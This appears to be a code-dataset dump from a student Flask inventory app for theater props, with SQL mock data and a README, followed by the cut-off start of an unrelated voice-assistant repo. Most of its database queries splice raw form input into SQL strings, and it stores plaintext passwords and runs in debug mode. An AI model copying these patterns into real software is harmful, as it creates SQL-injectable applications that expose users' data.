= request.form.getlist('culture')\n sex = request.form.get('gender')\n color_list = request.form.getlist('color')\n size = request.form.get('size')\n condition = request.form.get('condition')\n item_type = None\n i_type = None\n\n # Initialize for photos (Different section just because photos are inserted separately from everything else)\n ph_front = functions.upload_image(request.files.get('photo1'), app.config['UPLOAD_FOLDER'])\n ph_back = functions.upload_image(request.files.get('photo2'), app.config['UPLOAD_FOLDER'])\n ph_top = functions.upload_image(request.files.get('photo3'), app.config['UPLOAD_FOLDER'])\n ph_bottom = functions.upload_image(request.files.get('photo4'), app.config['UPLOAD_FOLDER'])\n ph_left = functions.upload_image(request.files.get('photo5'), app.config['UPLOAD_FOLDER'])\n ph_right = functions.upload_image(request.files.get('photo6'), app.config['UPLOAD_FOLDER'])\n\n # Initialize itemtype and itype (prop or costume) using prop_t and costume_t\n if prop_t and costume_t:\n # Redirects with error because a prop cannot be both a prop and a costume\n error = 'Item cannot have both a prop type and an costume type.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n elif prop_t:\n item_type = 'prop'\n i_type = prop_t\n elif costume_t:\n item_type = 'costume'\n i_type = costume_t\n\n # Build query string part for color and timeperiod (diff b/c can choose multiple choices and thus mapped to an array)\n color = functions.build_array_query_string(color_list)\n time = functions.build_array_query_string(time_list)\n culture = functions.build_array_query_string(culture_list)\n\n # String for description\n if description == '':\n description = 'N/A'\n\n #Build Query string (NOTE: this query does not insert photos (done later) and prod folders (not done during creation) as well as itemname and description)\n query = \"UPDATE item SET itemtype='{0}', itype='{1}', time='{2}', culture='{3}', sex='{4}', color='{5}', size='{6}', condition='{7}' WHERE itemid='{8}';\".format(item_type, i_type, time, culture, sex, color, size, condition, item_id)\n print (query)\n #replace any None with NULL\n query = query.replace('\\'None\\'', 'NULL')\n print (query)\n # raise NotImplementedError\n\n try: \n cursor.execute(query)\n conn.commit()\n\n except Exception as e:\n print (e)\n cursor.execute(\"rollback;\")\n\n ##If item creation fails\n error = 'Item editing has failed.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n\n ##Now change the name and descirption:\n query = \"UPDATE item SET itemname='{0}', description='{1}' WHERE itemid='{2}'\".format(item_name, description, item_id)\n print (query)\n try: \n cursor.execute(query)\n conn.commit()\n\n except Exception as e:\n print (e)\n cursor.execute(\"rollback;\")\n\n ##If item creation fails\n error = 'Item name and description cannot be changed. Please make sure that the name is unique. Photos were not updated.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n\n # Now insert images for the item, which is already in the database.\n try:\n functions.setImageInDatabase(ph_front, 'phfront', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_back, 'phback', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_top, 'phtop', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_bottom, 'phbottom', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_right, 'phright', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n functions.setImageInDatabase(ph_left, 'phleft', item_id, cursor, conn, app.config['UPLOAD_FOLDER'])\n\n except Exception as e:\n print (e)\n query = \"rollback;\"\n cursor.execute(query)\n\n ##If photo insertion fails\n error = 'Photo changes failed. Make sure that added photos do not share the same name. All other information updated.'\n return redirect(url_for('edit', error=error, item_id=item_id))\n return redirect(url_for('getItemInfo', item_id=item_id, error=error))\n\[email protected]('/filtered', methods=[\"POST\"])\ndef filterItems():\n proptype = request.form.getlist('prop-type')\n clothingtype = request.form.getlist('costume-type')\n timeperiod = request.form.getlist('time-period')\n culture = request.form.getlist('region')\n sex = request.form.getlist('sex')\n color = request.form.getlist('color')\n size = request.form.getlist('size')\n condition = request.form.getlist('condition')\n availability = request.form.getlist('availability')\n isavailable = []\n for a in availability:\n if a == 'available':\n isavailable.append(True)\n elif a == 'unavailable':\n isavailable.append(False)\n # print (\"c\", clothingtype)\n # print (\"p\", proptype)\n\n char2val = {}\n char2val['timeperiod'] = timeperiod\n char2val['itype'] = []\n # print (len(clothingtype))\n # print (len(proptype))\n if len(clothingtype) > 0 and len(proptype) < 1:\n char2val['itype'] = clothingtype\n elif len(proptype) > 0 and len(clothingtype) < 1:\n char2val['itype'] = proptype\n # print (char2val.get('itype'))\n char2val['culture'] = culture\n char2val['sex'] = sex\n char2val['color'] = color\n char2val['size'] = size\n char2val['condition'] = condition\n char2val['isavailable'] = isavailable\n\n # charlist = [proptype, clothingtype, timeperiod, culture, sex, color, size, condition, availability]\n char_array_enum_list = ['timeperiod', 'color', 'culture']\n char_enum_list = ['sex', 'size', 'condition', 'isavailable', 'itype']\n charArrayBool = False\n charBool = False\n\n for c in char_array_enum_list:\n if char2val.get(c):\n charArrayBool = True\n for c in char_enum_list:\n print (char2val.get(c))\n if char2val.get(c):\n charBool = True\n # print (char_array_enum_list)\n # print (char_enum_list)\n # print (charArrayBool)\n # print (charBool)\n\n query = \"SELECT itemid, itemname, phfront FROM item\" \n\n if charBool or charArrayBool:\n query += \" WHERE \"\n\n newQ = True #flag for new query\n\n ##Deal with those stored as arrays ['timeperiod', 'color']\n if charArrayBool:\n for c in char_array_enum_list:\n filterCharList = char2val.get(c)\n # print (c, \" \", filterCharList)\n\n newChar = True #flag for filterCharList, new char\n for char in filterCharList:\n\n #if first query part\n if newQ:\n query += \"('{0}' = ANY({1})\".format(char, c)\n newQ = False\n newChar = False\n #if first for the particular characteristic\n elif newChar:\n query += \" AND ('{0}' = ANY({1})\".format(char, c)\n newChar = False\n else:\n query += \" OR '{0}' = ANY({1})\".format(char, c)\n if filterCharList:\n query += \")\"\n\n #Filtering based on other attributes ['sex', 'size', 'condition', 'isavailable']\n if charBool:\n for c in char_enum_list:\n filterCharList = char2val.get(c)\n # print (filterCharList)\n newChar = True #counter for filterCharList\n for char in filterCharList:\n\n #if first query part\n if newQ:\n query += \"({0} = '{1}'\".format(c, char)\n newQ = False\n newChar = False\n #if first for the particular characteristic\n elif newChar:\n query += \" AND ({0} = '{1}'\".format(c, char)\n newChar = False\n else:\n query += \" OR {0} = '{1}'\".format(c, char)\n if filterCharList:\n query += \")\"\n\n query += \";\"\n # print (query)\n\n try: \n cursor.execute(query)\n #conn.commit()\n allCol = cursor.fetchall()\n error = 'Items filtered (temp message)'\n except Exception as e: \n cursor.execute(\"rollback;\")\n\n ##Error\n error = 'Cannot filter.'\n return redirect(url_for('loggedin', error=error))\n itemid = []\n itemname = []\n \n image = []\n\n for each in allCol:\n itemid.append([each[0]])\n itemname.append([each[1]])\n image.append([each[2]])\n imageList = [list(row) for row in image]\n # print(imageList[10][0])\n for idx, each in enumerate(imageList):\n img = imageList[idx]\n ph_front = img\n if ph_front[0] != None:\n imgData = functions.getImagedata(ph_front)\n imageList[idx] = imgData\n searchT = \"a\"\n return render_template('homefiltered.html', itemid=itemid, error=error, itemname=itemname, image=imageList, search=searchT)\n\[email protected]('/search', methods=[\"POST\"])\ndef searchItems():\n searchQuery = request.form.get('searchBar')\n searchQuery = searchQuery.lower()\n itemidQuery = \"SELECT itemid FROM item;\"\n itemNameQuery = \"SELECT itemname FROM item;\"\n imageQuery = \"SELECT phfront FROM item;\"\n cursor.execute(itemidQuery)\n itemid = cursor.fetchall()\n cursor.execute(itemNameQuery)\n itemname = cursor.fetchall()\n cursor.execute(imageQuery)\n image = cursor.fetchall()\n searchItemid = []\n searchItemname = []\n searchImages = []\n for idx, each in enumerate(itemid):\n # print(searchQuery)\n # print(each[0])\n # print(itemname[idx][0])\n if((searchQuery in each[0].lower()) or (searchQuery in itemname[idx][0].lower())):\n searchItemid.append([each[0]])\n searchItemname.append([itemname[idx][0]])\n searchImages.append([image[idx][0]])\n for idx, each in enumerate(searchImages):\n img = searchImages[idx]\n ph_front = img\n if ph_front[0] != None:\n imgData = functions.getImagedata(ph_front)\n searchImages[idx] = imgData \n\n\n return render_template('homefiltered.html', itemid=searchItemid, itemname=searchItemname, image=searchImages, search=searchQuery)\n\n#Adding a new folder \[email protected]('/addFolder', methods=[\"POST\", \"GET\"])\ndef addFolder():\n error = request.args.get('error')\n item_id = request.form.get('addFolderButton')\n folder_name = request.form['foldername']\n\n # Check to see if 8 folders (not pending deletion) already exist\n num_folder_q = \"SELECT folderid from productionfolders where exists=false;\"\n cursor.execute(num_folder_q);\n valid_folders = cursor.fetchall();\n # print (valid_folders)\n\n if (len(valid_folders) <1 ):\n # there is no room to add another folder\n error = 'Only 8 production folders can exist at a time.'\n\n if error == None: \n try: \n folder_id = valid_folders[0][0]\n query = \"UPDATE productionfolders SET foldername='{0}', exists=true WHERE folderid='{1}';\".format(folder_name, folder_id)\n # print (query)\n cursor.execute(query)\n conn.commit()\n\n # functions.createNewFolder(foldername, cursor, conn)\n error = \"Folder '{0}' added.\".format(folder_name) #Temp message?\n except Exception as e: \n cursor.execute(\"rollback;\")\n\n ##If foldername is a repeat.\n error = 'Folder cannot be created. Make sure a folder with this name does not already exist. See the Help & FAQ menu for more details.'\n\n if item_id:\n return redirect(url_for('toEditProdFolders', item_id=item_id, error=error))\n else:\n return redirect(url_for('prodFolders', error=error))\n\n # checking to see where redirect, depending on if there is an item_id\n if item_id:\n return redirect(url_for('toEditProdFolders', item_id=item_id, error=error))\n else:\n return redirect(url_for('prodFolders', error=error))\n\n#Deleting a new folder \[email protected]('/deleteFolder/', methods=[\"POST\"])\ndef deleteFolder():\n foldername = request.form['foldername']\n # print (request.form)\n try: \n folderidquery = \"SELECT folderid from productionfolders where foldername='{0}';\".format(foldername)\n cursor.execute(folderidquery)\n folderid = cursor.fetchone()[0]\n\n # find the items that have that folderid = true\n # set it to false\n updateItemQuery = \"UPDATE item set {0}=false where {0}=true;\".format(folderid)\n cursor.execute(updateItemQuery)\n conn.commit()\n\n query = \"UPDATE productionfolders set exists=false where foldername='{0}';\".format(foldername)\n cursor.execute(query)\n conn.commit()\n\n # change the foldername to some default value\n # so we can use the previously used name again\n if (folderid == \"f1\"):\n newFolderName = \"Folder1\"\n elif (folderid == \"f2\"):\n newFolderName = \"Folder2\"\n elif (folderid == \"f3\"):\n newFolderName = \"Folder3\"\n elif (folderid == \"f4\"):\n newFolderName = \"Folder4\"\n elif (folderid == \"f5\"):\n newFolderName = \"Folder5\"\n elif (folderid == \"f6\"):\n newFolderName = \"Folder6\"\n elif (folderid == \"f7\"):\n newFolderName = \"Folder7\"\n elif (folderid == \"f8\"):\n newFolderName = \"Folder8\"\n\n updateNameQuery = \"UPDATE productionfolders set foldername='{0}' where folderid='{1}';\".format(newFolderName, folderid)\n cursor.execute(updateNameQuery)\n conn.commit()\n\n # functions.createNewFolder(foldername, cursor, conn)\n error = \"Folder '{0}' pending deletion.\".format(foldername) #Temp message\n except Exception as e: \n cursor.execute(\"rollback;\")\n\n ##If folder should not have passed checks (should not happen)\n error = 'Cannot delete folder.'\n return redirect(url_for('prodFolders', error=error))\n\n # checking to see where redirect, depending on if there is an item_id\n return redirect(url_for('prodFolders', error=error))\n\n\nif __name__ == \"__main__\":\n app.jinja_env.add_extension('jinja2.ext.do')\n app.debug = True\n app.run()\n\n\n\n# " }, { "alpha_fraction": 0.5691977739334106, "alphanum_fraction": 0.6399264931678772, "avg_line_length": 60.58490753173828, "blob_id": "c77ebca2e74f5e0022c4b792933aa8d2e3966853", "content_id": "65af869bf04d2e0c8417e70eea213961a891fbe6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 3266, "license_type": "no_license", "max_line_length": 355, "num_lines": 53, "path": "/sql/insert_table_data.sql", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "#Mock data for testing\n#User\nInsert into registereduser values ('[email protected]', 'admin', 'pw', TRUE);\nInsert into registereduser (email, username, password, isAdmin) values ('[email protected]', 'student1', 'stu', FALSE), ('[email protected]', 'bb', 'pwbb', FALSE), ('[email protected]', 'cc', 'pwcc', FALSE);\n\n#Item (without image)\nInsert into item (itemId, itemName, pendingDelete, description, sex, condition, timeperiod, color, size, itemtype, isAvailable) \nvalues ('b_item1', 'item1', false, 'item1 no picture', 'unisex', 'good', '{classical}', '{red}', 's', 'costume', true ), \n('b_item2', 'item2', false, 'item2 no picture', 'male', 'good', '{other}', '{red, orange, green}', 's', 'costume', true )\n;\n\n\n#Folder\nInsert into folder values ('name1', false), ('name2', false);\n\n\n#Reservation\nInsert into reservation values ('[email protected]', 'b_item1', 'Mar-08-2018', 'Mar-19-2018', 'current');\nInsert into reservation values ('[email protected]', 'b_item2', 'Mar-10-2018', 'Mar-19-2018', 'current'), ('[email protected]', 'b_item1', 'Jan-08-2018', 'Jan-19-2018', 'current');\nInsert into reservation values ('[email protected]', 'b_item1', 'Feb-08-2018', 'Feb-19-2018', 'current'), ('[email protected]', 'b_item1', 'Feb-06-2018', 'Feb-07-2018', 'current'), ('[email protected]', 'b_item2', 'Feb-20-2018', 'Feb-21-2018', 'current'), ('[email protected]', 'b_item2', 'Feb-16-2018', 'Feb-18-2018', 'current'), ('[email protected]', 'b_item1', 'Feb-01-2018', 'Feb-05-2018', 'current');\n\nInsert into reservation values ('[email protected]', 'b_item1', 'Mar-08-2016', 'Mar-19-2016', 'current'), ('[email protected]', 'b_item2', 'Apr-08-2016', 'Apr-19-2016', 'current'), ('[email protected]', 'b_item1', 'May-08-2016', 'May-19-2016', 'current');\n\n# For testing for the 3 past limit, also use:\nUPDATE lastaccess set day='Mar-10-2017'::date;\n\n#and if there are not enough past reservations, use the following (NOTE: this sets ALL reservation statuses to current.)\nUPDATE reservation set status='current';\n\n# For production folders (folderId should not change, and only eight values total as of now; can change folder name) \nInsert into productionfolders(folderName, folderId) values ('Name1', 'f1'), ('Name2', 'f2'), ('Name3', 'f3'), ('Name4', 'f4'), ('Name5', 'f5'), ('Name6', 'f6'), ('Name7', 'f7'), ('Name8', 'f8');\n\n\n\n\n-- ## These are all for sprint 1 & 2, because of table changes, see sprint 3, to be added above.\n-- Insert into registereduser values ('[email protected]', 'admin', 'pw',\n-- TRUE);\n-- Insert into registereduser (email, username, password, isAdmin) values\n-- ('[email protected]', 'student1', 'stu', FALSE), ('[email protected]',\n-- 'bb', 'pwbb', FALSE), ('[email protected]', 'cc', 'pwcc', FALSE);\n-- Insert into item(itemId, itemName, image, pendingDelete, description) values ('1', 'One', NULL, FALSE, 'thing one'), ('2', 'Two', NULL, FALSE, 'thing two'); \n-- Insert into item(itemId, itemName, image, pendingDelete, description) values ('21', 'One', '{\"23423\", \"4354\"}', FALSE, 'thing one'), ('22', 'Two', '{\"2342\"}', FALSE, 'thing two');\n\n-- Insert into reservation values ('[email protected]', '1', '2011-05-16 15:36:38',\n-- '2011-05-16 15:36:38');\n-- Insert into folder values ('F1', 'Folder1', '[email protected]');\n-- Insert into productInFolder values ('F1', '1');\n\n-- #SQL for mock login/registration\n-- Insert into registereduser values ('[email protected]', 'admin', 'pw',\n-- TRUE);\n-- Select password from registereduser where username ='admin';\n\n\n" }, { "alpha_fraction": 0.5890181064605713, "alphanum_fraction": 0.5970699787139893, "avg_line_length": 37.38197326660156, "blob_id": "498b181813acb85aeb7f671b90400d987ed57202", "content_id": "0cda61d84056f882569a6ed80a976a1ababff6f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8942, "license_type": "no_license", "max_line_length": 198, "num_lines": 233, "path": "/functions.py", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "import base64\nfrom io import BytesIO\nimport os\nfrom werkzeug.utils import secure_filename\nimport random\nimport string\n\n##For Item creation and edit\n\n# Builds a string, converting list to sql array\n# Ex: ['c1', 'c2', 'c3'] -> {c1, c2, c3}\ndef build_array_query_string(char_list):\n length = len(char_list)\n if length > 0:\n char_str = '{'\n for c in range(length):\n if c >= length -1:\n char_str += '{0}'.format(char_list[c])\n else: \n char_str += '{0}, '.format(char_list[c])\n char_str += '}'\n return char_str\n return {}\n\ndef upload_image(file, folder):\n if file != None and file.filename != '':\n filename = secure_filename(file.filename)\n file.save(os.path.join(folder, filename))\n\n print (os.path.join(folder, filename))\n else:\n filename = None\n\n return filename\n\ndef setImageInDatabase(filename, image_col, item_id, cursor, conn, up_folder):\n if filename != None:\n try: \n print (\"looking for file: \" + \"tmp/\"+ filename )\n # print (\"loading file\")\n f = open(\"/tmp/\" + filename,'rb')\n filedata = f.read()\n f.close()\n # query = \"UPDATE item SET {0} = '{1}' WHERE itemid='{2}';\".format(image_col, filedata, item_id)\n # cursor.execute(query)\n query = \"UPDATE item SET {0} = \".format(image_col, filedata, item_id)\n cursor.execute(query + \" %s WHERE itemid=%s;\", (filedata, item_id))\n\n \n conn.commit()\n os.remove(os.path.join(up_folder, filename))\n except Exception as e:\n print (e)\n cursor.execute(\"rollback;\")\n raise e\n\ndef getInfo(item_id, cursor):\n cursor.execute(\"SELECT itemname FROM item WHERE itemid='{0}';\".format(item_id))\n itemname = cursor.fetchone()\n cursor.execute(\"SELECT phfront FROM item WHERE itemid='{0}';\".format(item_id))\n ph_front = cursor.fetchone()\n cursor.execute(\"SELECT phback FROM item WHERE itemid='{0}';\".format(item_id))\n ph_back = cursor.fetchone()\n cursor.execute(\"SELECT phtop FROM item WHERE itemid='{0}';\".format(item_id))\n ph_top = cursor.fetchone()\n cursor.execute(\"SELECT phbottom FROM item WHERE itemid='{0}';\".format(item_id))\n ph_bottom = cursor.fetchone()\n cursor.execute(\"SELECT phright FROM item WHERE itemid='{0}';\".format(item_id))\n ph_right = cursor.fetchone()\n cursor.execute(\"SELECT phleft FROM item WHERE itemid='{0}';\".format(item_id))\n ph_left = cursor.fetchone()\n\n cursor.execute(\"SELECT description FROM item WHERE itemid='{0}';\".format(item_id))\n description = cursor.fetchone()\n cursor.execute(\"SELECT pendingdelete FROM item WHERE itemid='{0}';\".format(item_id))\n pendingdelete = cursor.fetchone()\n cursor.execute(\"SELECT sex FROM item WHERE itemid='{0}';\".format(item_id))\n sex = cursor.fetchone()\n cursor.execute(\"SELECT condition FROM item WHERE itemid='{0}';\".format(item_id))\n condition = cursor.fetchone()\n cursor.execute(\"SELECT time FROM item WHERE itemid='{0}';\".format(item_id))\n timeperiod = cursor.fetchone()\n cursor.execute(\"SELECT culture FROM item WHERE itemid='{0}';\".format(item_id))\n culture = cursor.fetchone()\n cursor.execute(\"SELECT color FROM item WHERE itemid='{0}';\".format(item_id))\n color = cursor.fetchone()\n cursor.execute(\"SELECT size FROM item WHERE itemid='{0}';\".format(item_id))\n size = cursor.fetchone()\n cursor.execute(\"SELECT itemtype FROM item WHERE itemid='{0}';\".format(item_id))\n itemtype = cursor.fetchone()\n cursor.execute(\"SELECT itype FROM item WHERE itemid='{0}';\".format(item_id))\n itype = cursor.fetchone()\n cursor.execute(\"SELECT isavailable FROM item WHERE itemid='{0}';\".format(item_id))\n isavailable = cursor.fetchone()\n\n return itemname, ph_front, ph_back, ph_top, ph_bottom, ph_right, ph_left, description, pendingdelete, sex, condition, timeperiod, culture, color, size, itemtype, itype, isavailable\n\ndef getImagedata(images):\n imagedata = []\n for image in images:\n if image != None:\n imagedata = []\n image_data = bytes(image)\n encoded = base64.b64encode(image_data)\n stren = encoded.decode(\"utf-8\")\n imagedata.append(stren)\n # to show image as a seperate pop-up (?) --local only\n # data = base64.b64decode(encoded)\n # image1 = Image.open(BytesIO(image_data))\n # image1.show()\n return imagedata\n\n\n# def createNewFolder(foldername, cursor, conn):\n# try: \n# query = \"INSERT into folder VALUES ('{0}', false);\".format(foldername)\n# cursor.execute(query)\n# conn.commit()\n# except Exception as e: \n# cursor.execute(\"rollback;\")\n\n# ##If folder should not have passed checks (should not happen)\n# raise Exception\n\n\ndef updateLastAccess(cursor, conn):\n try:\n\n #check to see if need to update reservation status. Possibly move to app.py\n cursor.execute(\"SELECT * from lastaccess WHERE day=CURRENT_DATE;\")\n # cursor.execute(\"SELECT * from lastaccess WHERE day='Mar-03-2018'::date;\")\n day = cursor.fetchone()\n # print (day)\n if day == None:\n cursor.execute(\"UPDATE lastaccess set day=CURRENT_DATE;\")\n conn.commit()\n\n cursor.execute(\"SELECT CURRENT_DATE;\")\n currd = cursor.fetchone()[0]\n # print(currd)\n\n return True, currd\n return False, day[0]\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n\n#updates the status column for the reservation table. ('past', 'current', future)\ndef updateReservationStatus(cursor, conn, day):\n try:\n #flag for whether or not a status was changed to 'past'\n changedpast = False\n cursor.execute(\"SELECT * from reservation;\")\n rlist = cursor.fetchall()\n # print(rlist)\n for email, item, sdate, edate, status in rlist:\n # print (sdate)\n if sdate <= day and edate >= day:\n if status != \"current\":\n query = \"UPDATE reservation set status='current' where email='{0}' and itemid='{1}' and startdate='{2}';\".format(email, item, sdate)\n print(query)\n cursor.execute(query)\n conn.commit()\n print (\"current\", sdate)\n elif sdate < day :\n if status != \"past\": \n query = \"UPDATE reservation set status='past' where email='{0}' and itemid='{1}' and startdate='{2}';\".format(email, item, sdate)\n print(query)\n cursor.execute(query)\n conn.commit()\n changedpast = True\n print (\"past\", sdate)\n elif edate > day :\n if status != \"future\":\n query = \"UPDATE reservation set status='future' where email='{0}' and itemid='{1}' and startdate='{2}';\".format(email, item, sdate)\n print(query)\n cursor.execute(query)\n conn.commit()\n print (\"future\", sdate)\n\n return changedpast\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n\n\n# If the # of past reservations for a specific user goes past 3, this function deletes the oldest reservations.\ndef checkNumOfPastReservations(cursor, conn):\n try:\n\n # get the number of past reservations each user has\n cursor.execute(\"SELECT email, count(*) FROM reservation WHERE status='past' GROUP BY email;\")\n pastcount = cursor.fetchall()\n # print(pastcount) \n ## [('[email protected]', 3), ('[email protected]', 4)]\n\n #loop through all tuples\n for email, count in pastcount:\n if count > 3:\n\n # Delete from table if more than 3. Inner query returns all but the most recent three, which are all deleted.\n query = \"DELETE FROM reservation WHERE (email,itemid,startdate) IN (SELECT email, itemid, startdate FROM reservation WHERE email='{0}' ORDER BY enddate DESC OFFSET 3);\".format(email)\n cursor.execute(query)\n conn.commit()\n\n except Exception as e:\n cursor.execute(\"rollback;\")\n print(e)\n\ndef isLoggedIn(session):\n if session is None:\n return False\n else:\n return True\n\ndef generate_barcode(conn, cursor):\n new_id = ''.join(random.choices(string.ascii_letters + string.digits, k=5))\n try:\n query = \"SELECT itemid from item where itemid='{0}';\".format(new_id)\n cursor.execute(query)\n exists = cursor.fetchone()\n print (\"exists\", exists)\n if exists is not None:\n return generate_barcode(conn, cursor)\n\n except Exception as e:\n print (e)\n cursor.execute(\"rollback;\")\n new_id = generate_barcode(conn, cursor)\n\n return new_id" }, { "alpha_fraction": 0.76902174949646, "alphanum_fraction": 0.77173912525177, "avg_line_length": 81.61224365234375, "blob_id": "36848e3a73c86b45d2abb4c799ecf8123c34ef1e", "content_id": "67692cec34a633da9a97f670d900b957df7d9f13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4048, "license_type": "no_license", "max_line_length": 357, "num_lines": 49, "path": "/readme.md", "repo_name": "MagiShi/CrunchApp", "src_encoding": "UTF-8", "text": "# Thracker Documentation\n\n# 1. Release Notes\n### Software Features\n- **Adding items**\n - Users can save items along with defining characteristics into the application.\n - Characteristics include: prop/costume type, color, size, time period\n- **Production Folders**\n - Items can be organized into one or more theater productions, represented as \"production folders\" in the application.\n- **Search and filter**\n - Users can search for specific items by typing in the item name or unique barcode into the search bar.\n - For a less specific search, users can narrow down the entire database of items by choosing characteristics to filter by. \n- **Reservations**\n - Users can mark items as to be reserved for a certain date range. This way, other users know that the item is unavailable during that time.\n - Users can view their upcoming, current, and past reservations.\n### Bugs and Defects\n- When making or updating the date range of a reservation, the calendar widget requires that you **press the green Apply button** for the input to save. (Do not choose the date and then click outside of the calendar widget if you want changes to be saved.) Please press **Cancel** if you have selected the new date but do not want to update the reservation.\n- **The application does not allow multiple image files with the same name** when adding or editing an item.\n- Production folders **cannot** be named \"Folder1\", \"Folder2\", \"Folder3\", ..., \"Folder8\".\n- On an item's detail page, if there is a carousel of images and the user clicks through the carousel, the image only resizes and repositions itself after a second or two. This is just a minor aesthetic bug.\n- Another minor aesthetic bug: some of the icons on the navigation bar (search bar and the two menu buttons) take some time to load. This makes the buttons smaller for a moment or so.\n- In order to log out of the application, you must click the log out button in the right side menu or close the browser. Closing a tab or a window is not sufficient. All windows of the browser must be closed.\n- On mobile, adding an item to a production folder does not work. Adding an item to a production folder must be done on a non-mobile device.\n- After filters have been applied, when you reopen the filter menu, the previously applied filters do not appear as already checked.\n### Missing Functionality\n- Originally, our team wanted a \"guest\" view; this would've meant that a user could view and search for items (but not be able to add/edit/delete items, make reservations, add/edit production folders) without having to login. \n- Additionally, we planned on having a normal user account and an admin account. As an admin, the user would have all the normal functionalities, as well as the ability to completely delete users, items, reservations, and production folders. Currently we mark items as \"deletion pending,\" for example, but don't completely remove them from the database.\n- There is no User Account Page where the user could update their username, password, and email address.\n- Currently, a user cannot search by itemname/barcode and filter characteristics at the same time.\n\n# 2. Install Guide\n### Pre-requisites\n- Machine should have Python 3 installed\n### Dependent libraries\n- install the packages within requirements.txt\n- Set up [Flask](http://flask.pocoo.org/docs/0.12/quickstart/)\n- Set up [Heroku](https://devcenter.heroku.com/articles/getting-started-with-python#introduction)\n### Download instructions\n- You can find the source code for Thracker at this [repo](https://github.com/MagiShi/CrunchApp).\n### Installation of application\n- Thracker is a web application and will not require installation for use.\n### Run instructions\n- Navigate to the program files\n- `heroku open` will open the herokuapp project\n- To open the application locally\n\t- For Windows: `flask run`\n\t- For OSX: `python3 app.py`\n### Troubleshooting\n- Sometimes a user's reservations will not appear on their My Reservations page. Our highly technical fix is just to refresh until they eventually appear.\n" } ]
10
ablanchjover/Casimir-programming
https://github.com/ablanchjover/Casimir-programming
cedb5fd9d6bc3d8c4fa6da6f2022122bb4e194a0
13f9c53b5e666006ad6f729f6b973e3322cfaa5e
009dd664f1ce0b2845f4e6bf6590c145126da959
refs/heads/master
2021-08-08T03:22:05.396315
2017-11-09T12:58:23
2017-11-09T12:58:23
110,103,202
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6607142686843872, "alphanum_fraction": 0.6785714030265808, "avg_line_length": 9.375, "blob_id": "e2dae78be3fa8c584e71f6f2f1cdaf6acd9d9adf", "content_id": "2fc772405baef0a1e40551ac1dd92c66282a574f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 168, "license_type": "permissive", "max_line_length": 26, "num_lines": 16, "path": "/test.py", "repo_name": "ablanchjover/Casimir-programming", "src_encoding": "UTF-8", "text": "print(hello world)\n\n#Circumference of a circle\nimport numpy as np\n\nr = 5\n\ncircumf = 2*np.pi*r\n\nprint(circumf)\n\n#Surface of a circle\n\nsurf = np.pi*(r**2)\n\nprint(surf)\n\n\n" }, { "alpha_fraction": 0.38461539149284363, "alphanum_fraction": 0.5384615659713745, "avg_line_length": 10, "blob_id": "d831414714dc7089b5135968edf05acec05517a5", "content_id": "c9d15d9107507170dd56a8e55bdb74976593aa54", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13, "license_type": "permissive", "max_line_length": 10, "num_lines": 1, "path": "/script.py", "repo_name": "ablanchjover/Casimir-programming", "src_encoding": "UTF-8", "text": "print(2*3)\n\n\n" } ]
2
albertoaer/TIA
https://github.com/albertoaer/TIA
1d26e882a4f124e19c3cd61d34155318f65e56f8
89321bafe1b19047f4bf3002e94452e1e51d5a03
68a7031808eabb55ba527e60f042e17b522c42b5
refs/heads/master
2022-01-02T01:56:27.391002
2017-10-04T19:44:01
2017-10-04T19:44:01
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8194444179534912, "alphanum_fraction": 0.8194444179534912, "avg_line_length": 35, "blob_id": "f38fda749aebe57710fdd0e6cf91e46588b9cf5a", "content_id": "a19fda229f5f249c938fb4ddb4b9c18f39abd240", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 72, "license_type": "no_license", "max_line_length": 65, "num_lines": 2, "path": "/README.md", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "# TIA\nTIA(artificial intelligence terminal) is a simple voice assistant\n" }, { "alpha_fraction": 0.6944444179534912, "alphanum_fraction": 0.6944444179534912, "avg_line_length": 13.600000381469727, "blob_id": "86cd808fa632300a451e179afb57ac01e96a1f88", "content_id": "a20e73f6e5053dc6f05f690e15dea53f87eb6033", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 72, "license_type": "no_license", "max_line_length": 31, "num_lines": 5, "path": "/TIAt.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "import TIAr\n\nwhile True:\n raw_input()\n print TIAr.frenchlistener()" }, { "alpha_fraction": 0.5222423076629639, "alphanum_fraction": 0.5363472104072571, "avg_line_length": 31.162790298461914, "blob_id": "4f07e94af4bb7b6ec73cb4582ea41d5e65ba8609", "content_id": "a8d31cfb555e223ed7589a3a686e8c35cc680673", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2765, "license_type": "no_license", "max_line_length": 99, "num_lines": 86, "path": "/TIAb.py", "repo_name": "albertoaer/TIA", "src_encoding": "UTF-8", "text": "import os\nimport TIAi\nimport TIAg\n\nsaludo = lambda nm: \"Hola, \" + nm\nencantado = lambda nm: \"Encantado, \" + nm\n\ndef getTipePhrase(count):\n if count == 1:\n return oneW\n elif count == 2:\n return twoW\n elif count == 3:\n return threeW\n elif count == 4:\n return fourW\n else:\n return moreW\n\nclass oneW:\n def __init__(self,words):\n self.word = words[0]\n def sintax(self):\n if self.word == \"hola\":\n 